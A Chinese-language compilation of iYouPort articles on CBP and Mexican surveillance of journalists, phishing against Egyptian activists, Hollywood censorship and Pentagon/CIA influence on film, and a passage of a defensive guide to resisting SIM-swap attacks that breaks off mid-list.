墨西哥政府不会支付那堵墙的费用，但它显然愿意以其他方式提供帮助。

对美国边境机构针对记者、律师、移民倡导者和活动家进行的监视和跟踪的审查证实，墨西哥政府在这场惊人的监视计划中发挥了重要作用。

在2019年5月9日的一封信中，美国海关与边境保护局（CBP）外勤业务执行主任 Randy Howe 指出。“……CBP与墨西哥政府合作[以]应对发展中的威胁……” 这里指的所谓威胁是中美洲移民大篷车。

CBP的信中说，“墨西哥联邦警察认定一些记者和摄影师可能协助移民非法越境和/或参与暴力入侵事件”。

墨西哥政府官员最初表示政府没有参与这一有争议的监视行动。

新闻机构和权利团体联盟在一封信中声明，要求了解为什么**CBP**和国土安全部在长期违反第四和第五修正案的情况下继续增加了对第一修正案的违反。

以下是墨西哥政府的原始声明，现在它突然变得非常糟糕了：

“墨西哥政府不赞成对国内或国外任何人进行非法间谍活动。墨西哥

政府不对任何人进行非法监视”……

我想这一切都取决于你如何定义“非法”、或“监视”。

联邦警察局负责将人员添加到CBP的监视列表中，也许这种监视在墨西哥并非非法；但是它绝对是在美国非法的。

如果这不是边境另一边的法律问题，那么CBP和国土安全部基本上是利用外国政府进行监视，碍于法律他们不被允许在围栏的这一侧进行监视。

CBP和国土安全部似乎并不关心他们自己可能已经违宪的行为。

CBP 发来的信中说，该机构只是在围捕那些试图帮助移民越境的人；但不知何故，被瞄准目标居然包括试图帮助难民通过庇护程序的移民律师和记者。

美国海关与边境保护局确实承认自己会定期违反宪法规定的权利，但它声称这些违规行为只是美国人生活道路上的一些“小颠簸”。

他们称：

“有时候，*CBP* 可能会给守法的人带来一些不便，这是为了发现、阻止和减轻对我们家园的威胁。”

好吧，美国海关与边境保护局不进行非法监视（除了已经发生的非法监视之外）、并且没有针对受第一修正案保护的活动（边境附近发生的活动除外），只是为了国家安全，它忽略了美国宪法保障的权利。

它正在通过外国政府的帮助完成所有这些工作 —— 该政府在首次被问及时否认与此监视有任何关系。

Mexican Government Pitched In To Help The CBP Spy On Journalists, Activists, And Lawyers

原文

大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险 - iYouPort

政府的间谍行为维稳面面观

“战术正在发生转变，政府开始将监视工作外包给私人公司和个人。这种做法最大限度地减少了政府要承受的谴责，并且效率更高.....”—— 这里是埃及，当局采取了中国式的雇佣审查策略 —— ⚠ 埃及当局实施的不仅仅是在线审查，还有监视和网络攻击 ——攻击者使用虚假信息群发电子邮件给记者、活动家和民间社会团体，大规模钓鱼

「图」

「图」

Ramy Raoof 是一名埃及技术专家和隐私研究员，目前在黎巴嫩贝鲁特担任志愿者。 2016 年11月，当可疑事件发生时，他正在埃及人权倡议办公室（EIPR）工作。当时该组织接到了一名记者关于即将举行的新闻发布会的询问电话 – 但他们没有计划召开任何新闻发布会。

Raoof 很快就知道了，已经有数百封电子邮件以该组织的名义发出。这些假冒的电子邮件邀请记者、活动家和民间社会团体参加一个“关于埃及法律草案的新闻发布会”， 该草案将有效禁止非政府组织 。

“记者很容易相信这条假消息而被骗，因为攻击者使用的是我们（埃及人权倡议办公室 EIPR）的标识、我们的语言风格、我们的地址、我们的电话号码，”Raoof 说，“我要求看到这封电子邮件。当我看到它时，我意识到我们受到了攻击。”

⚠持续和广泛的网络钓鱼活动是对埃及公民社会和异议人士面临的大规模镇压的一部分。数以百计的活动家 – 现在仍然 – 遭受“网络钓鱼”攻击，他们被诱骗点击恶意软件链接或泄露密码、双重身份验证代码或密码重置代码 —— 我们曾经介绍过很多 #社交工程学 知识，就是为了应对这种攻击的。将来我们还会针对网络钓鱼攻击作出更多

的防御技术分析。

Raoof 及其研究人员将大规模攻击系列称之为“Nile Phish”，中文意思是“鱼”（指网络钓鱼）。

Raoof 与多伦多大学公民实验室的同事一起共同撰写了一份调查正在进行的攻击的研究论文 ，在2017年2月发布。作为对民间社会攻击增加的一种解释，他们注意到 ⚠ 为网络安全测试而设计的免费开源软件也可能被滥用来进行攻击。

Raoof 每天都在考虑如何应付 Nile Phish 这样的技术性攻击。“我在不同的民间社会组织担任技术专家和隐私研究员，”他解释说。（他的证书显示：他是 Tor 项目的董事会成员）

Raoof 指出，⚠ 随着时间的推移，有针对性的和大规模监视的领域变得更加复杂。在21世纪初，政府经常会自己进行监视。但今天完全不是这样了，“当局有一个战术转变，”Raoof 说，政府开始将监视活动外包给私人公司和个人……这样做能最大限度地减少指纹，避免最终责任被追究到政府……并且这样做“效率更高”，他解释道。

- 关联一个长篇调查报告、以及一个实际案例，关于美国的情报工作外包，主要用于在线监视、抹黑和舆论引导，以制造符合当权者利益的“现实” —— 目前中国疑似正在模仿这种方法：《 私有化间谍活动如何发动了认知战争？ 》
- 压制性政权越来越擅长利用数字间谍来镇压异议并扼杀国内外的反对，甚至在民主国家也是如此。美国公民社会组织报告的威胁所占比例为全球第二大，仅次于中国—— 这里是针对中国的最新报告，分析技术局势《 网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？ 》

国家和公司之间 一直在共享监视工具 —— 就是我们曾经分析过的「 公私监控伙伴关系 」。“并非所有国家都有自己的监视技术资源。他们从不同国家购买资源，“Raoof 解释道。“一些国家以发展有针对性的监视技术而闻名，如意大利；其他国家则以大规模监视技术的开发和销售而闻名，如以色列。“

- 关联我们早前的报告：《 国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？ 》
- 在技术进步的推动下，加强监视既得益于全球威权主义的增强，又有助于增强其权威主义，并对民主、权利和法治造成严重攻击。谁正在这样做？是如何做的？《 报告：是谁在提供先

进的监控技术协助压迫性政府对人权的侵犯？ 》

Raoof 说，并没有一个单一的可以保护所有民间社会团体的方法。不同的民间社会面临着不同的危险，需要不同的应对方案。

“我根据一些变量定制了建议，就像地点和工作类型一样“，他补充说。 Raoof 可能会向利比亚的反酷刑活动家提供一套安保建议，并向拉丁美洲的民权活动家提供另一套建议。“例如，一些技术解决方案永远不会在利比亚或叙利亚正常工作，比如 VPN（虚拟专用网络）这样的通用隐私工具在那里是不可取的，因为政府会积极地过滤它们……这点和中国的部分地区一样。

中国当局不在乎人们是否翻墙，他们警惕的是加密 – 即 能有效躲避监视审查的技术。并非每一种 VPN 都能保证安全，也就是为什么中国当局强调的并非“禁止翻墙”，而是“VPN 可控”。“可控”意味着其本身就是一个监视器，翻墙比不翻墙更危险。然而很多人至今没能掌握究竟哪种技术是安全的。

- 关联我们早前的报告：《有多少国家禁止或限制使用 VPN？--全球互联网审查分布图》
- 《 哪些技术能保卫您的安全？如何挑选 VPN？——安全上网手册 》

响应机制（如加密技术）必须更加快速，以跟上政策的变化。这就是 Raoof 的激情所在。也是为什么我们在人手紧张的情况下也没有放弃新闻板块 —— 威胁是动态的，我们必须尽快了解到它。 Raoof 说，“我们可以建立有效的隐私技术，在更短的时间内帮助更多的人。”■

//"Dispatches from the fight against unwarranted surveillance "//“There was a tactical shift,” Raoof says, and governments began outsourcing surveillance activities to private companies and individuals. “It minimizes the fingerprints,” and “is more efficient,” he explains.

原文

好莱坞究竟是亲中还是亲美？ - iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

我们反对任何一种审查，反对创作者对审查的屈服，不论它来自中国还是美国或者地球上的任何一个国家 ..... 这里是两篇文章，说的是同一件事，放在一起，您可以得出自己的结论

「图」

「图」

【按】如题所示，这里是两篇文章，第一篇来自企业媒体洛杉矶时报，第二篇来自独立组织WSWS；当然，后一篇文章中的内容其他媒体也报道过，比如 Salon、Techdirt、The Mirror、The Express 等等，因为它是来自信息自由法案获得的解密文件。但相比下WSWS的介绍比较详细。

简单说，前文是在描述现实状况的一个单一侧面，后文则是另一个侧面，是曾经当权者拼命掩盖的那一面。

我们不做分析。您可以自己理解它；如果您感觉找不到头绪，可以通过阅读本文中穿插的书籍帮助补充一些思路。

「图」

「图」

上图中这本书在这里下载「还有免费纪录片」：https://www.patreon.com/posts/xie-po-zhi-zhu-38192547

好莱坞对中国的低三下四在华盛顿引来了热议。但为什么现在呢？

在经历了半年 COVID-19 危机带来的不确定性之后，中国陷入困境的

电影院已经重新开张，上映的影片从本土爱国大片 “战狼2” 到皮克斯的 “Coco”（中文题为《寻梦环游记》）。

对于好莱坞来说，电影业最重要的国外市场的回归让人感到一些谨慎的乐观。

“这一渠道会通向何方，我想没有人知道”，洛杉矶制片人、为中国公司提供咨询的 ANA 媒体公司总裁 Scott Einbinder 说，“但令人欣慰的是，在经历了这么长时间的黑暗之后，隧道的尽头已经形成了一些光亮。”

不过，任何安心感都被越来越多批评好莱坞与中国关系的声音所笼罩。特朗普政府官员和政治盟友一再打击娱乐业通过讨好北京政府来获得利润丰厚的中国市场的努力。

- 《拜登政府在中国问题上会比特朗普”软”吗？》

国务卿蓬佩奥的演讲对好莱坞进行了严厉的批判，称该行业 “即使是最轻微的不利于中国的提法，也会自我审查掉”。此前一天，美国国务院因间谍指控而下令关闭了中国驻休斯敦领事馆。蓬佩奥的声明呼应了7月16日威廉·巴尔的讲话，他也批判美国电影公司帮助中国审查电影。

抨击的范围已经超出了电影本身。

7月，参议员 Josh Hawley 批评NBA “对北京俯首帖耳”，允许运动员在球衣上佩戴社会公义口号。

在给NBA专员 Adam Silver 的信中，Hawley 问道，是否也允许运动员打上支持香港抗议者、支持美军或支持警察的标语。

迪斯尼公司ESPN的记者 Adrian Wojnarowski 在发送了一封两个字的电子邮件回复后被停职，其中包括 f-bomb。

此外，白宫贸易顾问 Peter Navarro 称迪士尼前流媒体主管 Kevin Mayer 为 “美国傀儡”，因为这位高管离开了伯班克的娱乐巨头，经营中国公司 ByteDance 旗下的社交媒体应用 TikTok。

Navarro 指责 TikTok 和其他应用向北京输送用户数据，而字节跳动否认这点。“我们从未与中国政府分享过 TikTok 的用户数据，将来也不会这样做”，TikTok 的一位发言人说。

- 《新自由主义结束了—欢迎来到新*不*自由主义时代：冠状病毒、中国、寡头、高堡奇人……》
- 《“21世纪的资本”：一部讲述我们如何陷入困境的纪录片》

这股批评浪潮是在中国娱乐业已经面临不确定性的时候出现的。中国的电影业务在过去十年中出现了大规模的增长，自从2012年达成一项具有里程碑意义的协议、大幅增加了美国公司进入中国电影院的机会以来，美国电影公司一直希望在中国拓展业务。

长期以来，美国电影公司一直在寻求在中国获得更大的票房份额，而不是现在的25%，相比之下，其他国家的票房份额约为50%，同时也希望获得更好的上映日期。他们还希望根据收入分享协议，将每年允许进入中国的外国电影数量从目前的34部配额提高到更多。

在特朗普政府与中国的贸易战中，这些努力都退居其次了。由于后者在南海扩大军事影响力的举动，美中关系进一步紧张。

一些电影公司的高管和分析师担心，不断升级的地缘政治嘴炮可能会进一步限制美国电影的前景，特别是对于那些通过统一费率制度将作品带入中国的独立电影公司来说。

由于冠状病毒形势对制作和影院的影响，电影公司在国内已经陷入困境。

“对话需要集中在获得合法进入中国市场的机会上，而不是试图束缚制片人的手脚去克服贸易壁垒”，独立影视联盟主席 Jean Prewitt 说。

审查制度是在中国开展业务的代价，外国影片在发行前必须经过严格的批准程序。

在20世纪福克斯2018年大热的《波西米亚狂想曲》中，中国上映的版本里提及皇后乐队主唱 Freddie Mercury 的性爱内容被删掉了。

去年夏天，有推特用户注意到，汤姆·克鲁斯在《头号玩家》预告片中使用的飞行员夹克进行了改动，去除了台湾国旗，这被认为是安抚中国的举动。

巴尔在演讲中引用了漫威2016年的大片《奇异博士》，该片将角色“古人”的出身从藏族僧侣改成了由 Tilda Swinton 饰演的凯尔特人。

迪士尼、华纳兄弟、索尼影业、派拉蒙、环球影业和美国电影协会的

代表都拒绝对本文发表评论，也没有回应评论请求。

然而，行业分析师和高管们表示，娱乐业是政客们最方便的沙包。在大选年期间，这种倾向只会增加，因为政府因处理冠状病毒危机而变得脆弱，特朗普将其称为“中国病毒”。

参议员 Ted Cruz 今年提出了一项立法，如果电影公司为中国审查电影，他们将无法获得政府在制作上的援助，电影公司高管们将此举称为政治姿态。

南加州大学政治学教授、中国问题专家 Stanley Rosen 说：“它上了头条新闻得到了充分的宣传，并助长了我们所有问题都来自外部或左翼的谬论。”

洛杉矶发行商 Myriad Pictures 的总裁 Kirk D’Amico 表示，在贸易争端发生之前，他向中国授权内容的业务一直在稳步增长。现在他说，自2018年以来，他在中国的销售额下降了70%至80%。他指责贸易紧张局势和关于 COVID-19 的嘴炮大战。

D’Amico 表示：“这对我们的钱包造成了伤害，对我们的实际销售也造成了伤害。”

一些不愿透露姓名的电影业高管表示，华盛顿对审查制度的担忧被过分夸大了，他们指出，电影公司为许多国家 —— 包括保守的中东国家 —— 修剪电影，以避免触犯当地的文化情感。改变电影以吸引世界上人口最多的国家的观众是有商业意义的。

一位电影业内部人士说：“我们不会损害价值”。

但一些评论家认为，中国的影响力已经变得如此之大，以至于它的喜好影响了全球范围内讲述什么样的故事，而不仅仅是在中国大陆。

“中国政府在推动好莱坞审查或制作反映他们自己叙事的电影方面并不是独一无二的，但它是唯一一个能够在全球范围内对塑造叙事如此有效的政府。”

美国笔会自由表达研究和政策副主任 James Tager 说，该组织正在出版一份关于这一主题的报告。

自从传统上监管娱乐部门的机构在2018年被取消，将控制权转移到共产党的宣传部门以来，中国的审查制度已经收紧。此举是习近平领导的一场全面运动的一部分，旨在加强对中国言论和思想的控制，特别

是在媒体和教育领域。

虽然最近一些美国电影在中国做了巨大的生意，但近来中国政府倾向于本土制作和爱国主义电影。

正如中宣部部长黄坤明去年在中国电影颁奖典礼上宣称的那样，在党的指导下，在“习近平总书记的重要指导精神”下，落实“社会主义核心价值观”，建设“中国精神、中国价值、中国力量”，中国制作了越来越多的爱国主义电影。这让美国[爱国主义]电影的市场更具挑战性。

即将出版的关于美国电影公司与中国关系的《Feeding the Dragon》一书的作者、娱乐业资深人士 Chris Fenton 表示，电影公司应该更加谨慎地应对中国的限制。

“电影公司需要承认有很多虚伪的事情发生”，Fenton 说，“他们需要走出他们的泡沫，并意识到很多人正在变得非常了解中国的问题。”

大多数观察家认为，中国不会因为政府官员的声明而立即对各大电影公司进行报复。包括环球公司的家庭电影《杜立德》和索尼公司的动作片《喋血双雄》在内的外国电影最近都被批准在中国上映。尽管迪士尼在耗资2亿美元的制作过程中加入了中国文化顾问，但目前仍不清楚迪士尼何时能够在中国上映其翻拍的真人版《花木兰》。

中国仍然需要好莱坞大片来推动其庞大的电影业的复苏，自1月底以来，中国的电影业一直处于关闭状态。“归根结底，让好莱坞在中国发行电影对中国有利，就像对好莱坞有利一样”，**B.Riley FBR** 的娱乐业分析师 **Eric Wold** 说。

不过，制片人 Einbinder 还是希望娱乐业的政治化能够降温。

“特朗普政府挑剔好莱坞很容易”，他说，“但事实比这复杂得多。他们还必须记住，好莱坞在美国各地创造了大量的就业机会。”〇

Hollywood ‘kowtowing’ to China takes heat from Washington. But why now?

▸ 以上是洛杉矶时报的文章。下面关联一篇独立组织的文章，对比来看。我们不做评论（曾经做过很多了）。

「图」

「图」

上图中这本书在这里下载：https://www.patreon.com/posts/dian-ying-shi-yi-38161195

「图」

「图」

上图中这本书在这里下载：https://www.patreon.com/posts/mei-you-zhong-bu-38144021

- 叙事的地缘政治斗争（有书）《“你的” 叙事》

「图」

「图」

Transformers “变形金刚”(2007)

好莱坞是如何被政府控制的

在《National Security Cinema: The Shocking New Evidence of Government Control in Hollywood 》一书中，Matthew Alford 博士和 Tom Secker 提供了令人信服的证据，证明国防部、中央情报局和联邦调查局几十年来一直在利用各种手段操纵好莱坞某些项目的内容，甚至彻底阻止制作，经常以 “国家安全” 为借口对电影和电视进行审查。

作者认为，这些行动的真正目的是推进 “基于对历史的扭曲解读，以暴力的、以美国为中心的方式解决国际问题”。

Alford 是英国巴斯大学的教学研究员，也是《Reel Power: Hollywood Cinema and American Supremacy》（2010）的作者。Secker 是一名私人研究员，他运营着 spyculture.com，这是一个关于政府如何审查娱乐业的在线档案。

上面提到的这两本书在这里下载：https://www.patreon.com/posts/ru-guo-ni-neng-40002295

【注：您可以看看这个网站，内容非常丰富。SpyCulture.com 由 Tom Secker编写和制作。Tom 是英国的记者、作家和播主。他的研

究领域包括维稳部门、好莱坞、政治宣传、审查制度和恐怖主义历史】

这本书认为，美国军方从最早的时候起就对好莱坞的产品进行了控制。这本书指出，本土卫队（国民警卫队以外的预备役部队）为“臭名昭著的故事片[D.W. Griffith 的]《一个国家的诞生》（1915年）提供了坦克，在这部电影中，黑人奴隶反抗他们的主人，然后三K党骑马进来拯救世界”。

作者利用信息自由法案获得了1911年～2017年间政府对电影审查程度的文件证据，并曝光了它们。**DOD**（五角大楼）提供军事装备和“建议”，甚至允许军方成员出镜，以换取对**814**部电影内容的某种程度上的控制。

作者写道：“如果我们把1133部电视剧集也计算在内，那么被国防部控制内容的荧屏娱乐产品数量就跃升至1947部。如果把《24小时》、《国土安全》、《海军罪案调查处》等电视剧中每个单独名称的剧集看作一部作品，将FBI、CIA和白宫等其他主要政府部门的影响也包括在内，那么很明显，国安系统已经控制了成千上万部影视作品的内容。”

Alford 和 Secker 提供了《变形金刚》系列电影作为例子（2007–2018年至今，其中大部分由 Michael Bay 执导），说明国防部如何通过使用不同的“秘密”手段来影响过去（现在）被认为是“纯娱乐”的电影的制作。

作为惯例。电影制作人在向国防部申请物资支持的同时，还需要向国防部寄送剧本草稿。而《变形金刚》的制作者却不是这样。

国防部直接付钱给电影制作人，让官员们可以获得“非常早期的对剧本的影响”，给他们提供了电影制作史上最多的军事援助，比如“十二种空军飞机和来自四个不同基地的部队”。第二部《变形金刚》电影获得了价值 1.5亿美元的 F-22 战斗机。

「图」

「图」

Peter Cullen in Transformers (2007)

作者正确地得出结论，变形金刚系列电影除了“非政治性”之外，事实上是一个可以被称为“战争宣传片”的例子。向观众传达的不言而

喻但有意的信息是 “相信官方” 能够将他们从外国战争和入侵中 “带回家 bring ’em home”，不管有多少人，不管是美国人还是其他人，不管是士兵还是在这一过程中被杀害的平民。

【注：“bring ’em home” 是反战活动家组织的口号之一】

当作者转而调查中情局对电影内容的审查操纵时，他们从现有的事实和资料出发，分三个不同的时代去论述：1943–1965年、1966–1986年、和1986年至今。虽然中情局对电影的审查或干预相比下少得多，但是，其压制的方法和手段，恰恰更加隐蔽。

Alford 和 Secker 写道，在战后不久，新成立的中央情报局官员努力 “确保好莱坞电影不以任何形式描述他们”。同时，该机构从成立之初就忙于 “在电影业最高层内招募情报资产（就是线人），并利用他们来监视好莱坞的制作过程，在电影剧本中增删材料”。

乔治-奥威尔的《动物农场》（1954年）和《一九八四》（1956年）的电影版，就是中情局要审查的电影的典范。

事实上，两位作者指出，电影学者早就意识到，这两部改编电影 “都受到了中情局的直接影响”。

就《动物农场》而言，对影片结局的修改是为了鼓励人们抵抗 “苏联和东欧的各种斯大林政权”，具有讽刺意味的是，正如在现实世界中，中央情报局正在推翻伊朗和危地马拉的民选政府，并对印度尼西亚的苏加诺独立政府发起行动。”

「图」

「图」

Jan Sterling in Nineteen Eighty-Four (1956) “1984”电影版

在冷战时期，中央情报局发现了通过特工 —— 准确说好莱坞的人充当特工 —— 的有效性。作者举例说，派拉蒙制片厂的审查负责人 **Luigi Luraschi** 定期与中情局的 “匿名人士” 联系，向他通报派拉蒙有能力也愿意改变电影以符合美国政府的利益。

在派拉蒙公司的许多电影中，都有很多场景被添加或删除 —— 意在改善美国社会的形象 —— 包括表面上无害的 《Sangaree》 (Edward Ludwig)、《球童》(Norman Taurog) 和《Houdini 》(George Marshall)，都是1953年上映的，还有1955年的《战略空军》

（Anthony Mann），后者是为了确保美国不至于出现“很多枪支爱好者”而做出的审查。

「图」

「图」

Sean Connery and Rik Van Nutter in Thunderball (1965) “007之霹雳弹”

1961年，中央情报局在企图入侵古巴的猪湾行动中遭遇了“第一次高调的失败”，这次行动的目的是推翻卡斯特罗政府。中情局对这次失败的反应之一就是，通过电影来改善其形象。

这一点在《雷霆万钧》（Terence Young，1965年）中表现得最为明显，这部根据 Ian Fleming（中情局局长 Allen Dulles 的朋友）的小说改编的詹姆斯邦德电影，对中情局有许多正面的提及，也是首部有一个可爱的中情局角色 Rik Van Nutter 的电影。

1966–1986：Richard Helms（此人1943年开始从事情报工作、1966年至1973年担任中情局局长）他主持的工作似乎和好莱坞的关系没那么多的干涉。但 Alford 和 Secker 问道：“一切真的像看起来那样吗？”

这一时期的两部电影 —— 《托帕兹》（Alfred Hitchcock，1969年）和《秃鹰三日》（Sydney Pollack，1975年）—— 将中情局描绘成一个冷酷无情的情报机构，将“杀人的恶棍”即中情局特工派到公众面前。

作者推测，该机构可能欢迎这些电影和其他电影所呈现的“更具威胁性”的形象。他们写道，如果真的有“中情局对《秃鹰》剧本的默许，那就说明中情局实际上对以这种威胁性的词汇来表现自己很放心。

影片的最后一幕将中情局的犯罪活动合理化，因为最终似乎“只有中情局能够保护对国家生存至关重要的石油流动”。

「图」

「图」

Robert Redford in Three Days of the Condor (1975) “秃鹰三日”

两位作者指出，1973年初被理查德·尼克松总统解除中情局局长职务的 Helms（部分原因是 Helms 拒绝帮助掩盖发展中的水门事件丑闻），1975年在《秃鹰三日》的拍摄现场与主演 Robert Redford 交谈了 “几个小时”。

作者认为中情局刻意培养 “硬汉” 形象的观点可能是正确的，且至少提供了尼克松开除 Helms 的历史和周边事态发展、包括 “石油流 “的状况，会加强他们的论点，给读者以启发。

1986年至今：《壮志凌云》（Tony Scott，1986年）被证明是一部成功的美国海军宣传片 —— 在电影上映后的一年里，“海军招募人数激增了16000人，海军飞行员的招募人数激增了500%。”

这种成功使中情局改变了操纵好莱坞的手段。

事实上，中情局是在利用反动的政治和文化氛围，其核心事件之一是1989年至1991年期间东欧斯大林政权的崩溃和苏联的解体。

在与间谍惊悚小说作家 Tom Clancy 建立关系后，中情局允许改编 Clancy 的两部作品《爱国者游戏》（1992年）和《碟中谍》（1996年），成为20年来第一批在中情局兰利总部拍摄的电影。

其他名人的联系很快就接踵而至，使 CIA 控制了一大批电影的发展。

作为CIA的娱乐联络官（ELO），Chase Brandon 是一位在CIA行动中工作了25年的老兵，也是好莱坞明星 Tommy Lee Jones 的表弟，他帮助让间谍机构对一些电影的制作产生了影响，比如《伯恩的身份（谍影重重1）》（Doug Liman，2002）、《恐惧的总和》（Phil Alden Robinson，2002）和《新兵》（Roger Donaldson，2003）。

Brandon 作为最后一部电影的鬼才编剧的角色已经得到了验证。正如作者所言，《新兵》旨在反击政治上的担忧，比如 中情局显然没有预测到9/11袭击事件，并宣传中情局的 “头等大事：恐怖主义”。

最令人惊讶和不耻的是，有多少好莱坞演员以某种方式为中情局和美国军方做宣传员。

罗伯特·德尼罗（他的父母是左翼）、汤姆-克鲁斯、丹·艾克罗伊德、迪恩·凯恩、威尔·史密斯、克莱尔·丹尼斯、凯文·贝肯、帕特里克·斯图尔特、和迈克·梅尔斯等人都曾公开访问过兰利总部。

“乔治·克鲁尼和安吉丽娜·朱莉曾与中情局合作过电影”。

著名美国演员、导演和编剧 Ben Affleck 是卢旺达独裁者保罗·卡加梅的朋友，也是上述中情局和国防部协助拍摄的《恐惧的总和》的主演，他对一位采访者说："好莱坞可能充满了中情局的特工。"

在 "案例研究" 部分，两位作者更仔细地审视了军事-情报机构对14部不同类型的当代电影的操纵影响，其中包括詹姆斯·卡梅隆的《阿凡达》（2009）；迈克·尼科尔斯的《查理·威尔逊的战争》（2007）；罗伯特·泽米吉斯的《超时空接触》(1997年)；特里·乔治的《卢旺达酒店》(2004年)；塞斯·罗根 和 埃文·戈德堡的《采访》(2014年)；彼得·伯格执导的《王国》(2007年)和《孤独的幸存者》(2013年)；威廉·弗里德金的《交战规则》(2000年)；保罗·格林格拉斯的《联航93号》(2006年)。

通过对这些影片的详细研究可以发现，其中大部分影片都在宣扬一种共同的基本意识形态，即 "美国军事至上主义从根本上说是仁慈的"。

「图」

「图」

Tom Hanks and Philip Seymour Hoffman in Charlie Wilson's War (2007) "查理·威尔逊的战争"

在《查理·威尔逊的战争》中，中情局通过删除剧本中描写苏联占领阿富汗期间某些的场景来推进这种意识形态，例如，在剧本中被删除的几个场景中，包括一个 "特立独行的中情局特工" 描述了俄罗斯士兵将阿富汗难民聚集在一起，围成一个半圆，教他们如何读书写字。

《钢铁侠》(2008) 按照好莱坞熟悉的剧情线来证明美国统治的仁义。起初，托尼·斯塔克（小罗伯特·唐尼饰）是一个刻板的富家子弟，但他被抓捕入狱后，几乎瞬间就变成了一个英雄人物，他以钢铁侠的身份用先进的设备杀死 "一般意义上的穆斯林恐怖分子"，就像五角大楼在做的那样。

美国空军对电影制作者的奖励是提供飞机和飞行员作为临时演员，以及剧本和技术的建议。

Alford 和 Secker 观察到，"空军上尉 Christian Hodge、国防部负责该片的项目官员评论说，'空军要像摇滚明星一样出场'。"

案例研究部分最后考虑了政府各部门和机构之间的关系，特别是中央情报局、以及 Clancy 和导演 Oliver Stone 和 Paul Verhoeven 的工

作。

虽然作者指出 Clancy 很难说是一个“政治上值得称道的人物”，但他的小说的好莱坞版本删除了其中所包含的任何反体制细节，并将其转向误导“人们对真实事件和政治动态的认识，同时将所谓的安全国家（就是维稳）描绘成危险和敌对世界的唯一答案”。

两位作者相当慷慨地提到了 Verhoeven 的“政治颠覆性三部曲”——科幻三部曲《机械战警》、《全面回忆》和《星际舰队》。按照 Verhoeven 的说法，后一部电影之所以能通过审查，“是因为（索尼影业内）没有人看过它”，原因是索尼“每隔三四个月就要交接一次管理层”。

资深电影人奥利弗·斯通就没有这么好的运气了。在讲述吹哨人 **Edward Snowden** 的《斯诺登》上映后，斯通谈到他无法为这部电影找到美国的融资；按照作者的说法，这是他“从业**21**年来第一部重要的政治电影”。

斯通评论说：“做（关于）一个美国人的故事，却无法在美国为这部电影融资，这是一件非常奇怪的事。”

斯通在寻找美国资助任何不认同美国政策的电影时，都要面临美国多个政府部门和机构的审查，审查用控制资本的方法令这类异议作品枯竭，无法实现。

在这本书中，有时作者没能为他们的陈述和判断匹配足够的历史背景，尽管这本书最后有一个非常宝贵的尾注。美国公众（甚至全球公众）对这一关键主题几乎一无所知，值得进行更大规模的研究。

总的来说，这本书以清晰的文字介绍了好莱坞产业和政府部门和机构，这些部门和机构确实打算提供越来越多的“战争宣传”。除非这种审查和操纵被制止，否则，用作者的话说就是，我们将“继续在军事工业综合体的噩梦中生活直至死亡。”〇

National Security Cinema: The Shocking New Evidence of Government Control in Hollywood—How the US military and CIA go about their propaganda operations

原文

如何抵制SIM卡交换攻击 - iyouport

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

【2020年6月16日存档】最容易遭受的威胁。

SIM卡交换攻击是一种常用的攻击形式，攻击者会控制您的电话号码，然后在您的电话号码作为2FA时，控制您的数字生活。

本文尝试确切解释什么是SIM交换攻击，以及缓解这些攻击的最有效方法。

本文将假设您的移动设备已建立基本安全级别，即 没有Root/越狱，并且您近期尚未成为网络钓鱼攻击的受害者。*https://www.techdirt.com/articles/20200114/06480143727/study-shows-internet-is-hugely-vulnerable-to-sim-hijacking-attacks.shtml//* !!!什么是***SIM***卡交换攻击？「图」 这是一种越来越流行的攻击形式，涉及欺诈，在许多情况下还涉及社交工程。 通常情况是这样的：犯罪分子会提前检查您的电话号码，然后通过电话与您的移动运营商联系，选择那种看似容易被操纵的新人、思维简单的或超级友善的客户代表。 ⚠ 攻击者在此前已经收集了足够的有关你的个人信息（物理地址、*SSN*、电话号码、出生日期 ……所有这些都可以轻松获得，因为人们太喜欢晒了）以此来冒充您，然后 —— 他们会编造一些引人入胜的故事，例如 “我需要在几个小时内上飞机，更糟糕的是，我刚丢了手机！您能帮忙吗？” 一般而言，我们都是好人，并希望在任何可能的时候提供帮助。 攻击者知道这一点，并利用这种性质来控制帐户并最终控制*SIM*卡。 请注意这比听起来容易得多。 一旦攻击者控制了您的*SIM*卡并进而控制了您的手机号码，就会迅速发生一系列古怪的事。 这里是当您遭受***SIM***卡交换攻击时通常都会遇到的现象： *1*、 您可能会注意到的第一件事是您的手机显示 “没有服务”。 许多人没有立即注意到这一点，因为他们的手机还连接了*WiFi*，并且诸如电子邮件、社交媒体、音乐之类的东西一开始仍然可以正常工作。 *2*、 直到发现自己没有接到电话或发不出短信，他们才开始怀疑某些事情不对。 到那时就已经晚了。 *3*、 然后更多奇怪的事发生。 例如发送重置密码的请求、无法访问电子邮件、社交媒体等。 这似乎是一次突然发生的噩梦。 攻击者对您的短信或电话的兴趣不大，他们会致力于控制有价值

的帐户和您已采取额外措施保护的银行帐户 —— 使用您的手机号码接收这些2FA验证码。 攻击者可以在这些帐户中启动密码重置，然后在他们控制了您的手机号码后拦截这些一次性验证码。 他们会使用手动或自动工具在您的所有帐户中 —— 电子邮件和社交媒体帐户、银行、保险、贷款、零售等等 —— 快速启动密码重置。 4、您开始害怕了。但这仅仅是一个开始。 5、成功接管您的身份后，攻击者会将您的所有息转售给暗网。这会使缓解和遏制变得更加困难。 6、攻击者不会停下来，他们会将攻击提高到一个新的水平，这些活动包括以您的名义开立贷款和信用卡、新的电子邮件帐户、以及更全面地有效接管您的身份。 7、⚠通常需要您花费数月甚至数年的时间来清理，时间长度取决于攻击者活动的速度和范围、控制的账户和资产的数量、以及攻击者有多聪明。 !!!最小化被攻击的风险 「图」 这些提示可在最大程度地减少您遭受这种攻击的可能性： **1**、不要使用短信和邮件验证，使用身份验证应用程序。 * 《如何使用社交工程来攻击2FA？》 请改用身份验证APP，Authy、Google Authenticator 或 Duo 等应用。 这应该是个原则 —— 即 尽可能寻找那些可以不使用手机号码的方式。这样能帮您减少很多痛苦，提高保护能力。 **2**、在您的移动运营商帐户上设置**PIN**码 如果您最近没有与移动运营商联系，那么值得打个电话来办理一下手续，尤其是如果您怀疑自己已经受到损害时。 一些小的迹象，比如 一个莫名其妙的 Netflix 帐户、一个在线零售帐户、或者有钓鱼邮件要求您的电话号码、姓名、实际地址等，这些通常都是SIM攻击的先兆。 